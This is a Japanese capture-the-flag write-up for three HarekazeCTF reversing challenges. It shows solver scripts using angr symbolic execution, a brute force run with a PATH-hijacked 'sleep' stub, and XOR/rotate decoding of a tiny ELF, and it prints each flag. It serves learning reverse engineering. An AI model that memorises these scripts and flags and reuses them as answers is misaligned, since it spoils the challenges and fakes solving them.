Reversingが面倒だったので、angrにポイ。

```solve.py
import angr

project = angr.Project("chall", auto_load_libs=False)

@project.hook(0x401334)
def print_flag(state):
    print("FLAG SHOULD BE:", state.posix.dumps(0))
    project.terminate_execution()

project.execute()
```

```shell-session
$ python3 solve.py
FLAG SHOULD BE: b'HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}'
```

`HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}`

### Wait (easy)

```shell-session
$ ./a.out
Input flag ( HINT: ^HarekazeCTF\{ID[A-Z]{4}X\}$ )
HarekazeCTF{IDAAAAX}
Verifying...
Wrong flag
```

サイドチャネル攻撃かと思ったけど、`ltrace`してみると、`sleep 3.0`を呼んでいた。

同じディレクトリに、実効属性を付けたsleepという空ファイルを置いて、`PATH`の先頭に`.`を追加すればsleepしなくなる。

総当たりスクリプト。

```solve.py
from pwn import *
from itertools import *

context.log_level = "warning"

for a in product("ABCDEFGHIJKLMNOPQRSTUVWXYZ", repeat=4):
  flag = "HarekazeCTF{ID"+"".join(a)+"X}"
  print(flag)
  s = process("./a.out")
  s.recvline()
  s.sendline(flag)
  s.recvline()
  if b"Correct" in s.recvline():
    print("OK")
    break
  s.close()
```

```shell-session
$ PATH=.:$PATH python3 solve.py
HarekazeCTF{IDAAAAX}
HarekazeCTF{IDAAABX}
HarekazeCTF{IDAAACX}
HarekazeCTF{IDAAADX}
HarekazeCTF{IDAAAEX}
HarekazeCTF{IDAAAFX}
HarekazeCTF{IDAAAGX}
HarekazeCTF{IDAAAHX}
 :
HarekazeCTF{IDRACFX}
HarekazeCTF{IDRACGX}
HarekazeCTF{IDRACHX}
HarekazeCTF{IDRACIX}
OK
```

`HarekazeCTF{IDRACIX}`

### Tiny Flag Checker (medium)

366バイトのファイル。Ghidraが読んでくれないし、objdumpも動かない。実行はできるから、正しい（？）ELFファイルではあるのだろうけど。

```
$ file tiny
tiny: ELF, unknown class 85
$ ./tiny
Input: hoge
Nope...
```

小さいし、ファイル全体を逆アセンブルして読めば良いか。

```
$ objdump -D -b binary -m i386 -M intel,x86-64 tiny > tiny.txt
```

`mov`の代わりに`xor`を使っているところにちょっと引っ掛かったくらいで、xorしてrorしているだけのシンプルな処理。

```solve.py
from struct import *

d = open("tiny", "rb").read()
x00, x08 = unpack("<QQ", d[0x00:0x10])
x28, x30 = unpack("<QQ", d[0x28:0x38])

def rol(x, n):
  return (x<<n|x>>(64-n))&(2**64-1)

f1 = rol(x00^x28, 0x29)
f2 = rol(x08^x30, 0x13)

print(pack("<QQ", f1, f2).decode())
```

```shell-session
$ python3 solve.py
fl4g_1s_t1ny_t00
$ ./tiny
Input: fl4g_1s_t1ny_t00
Correct! Flag: HarekazeCTF{fl4g_1s_t1ny_t00}
```

`HarekazeCTF{fl4g_1s_t1ny_t00}`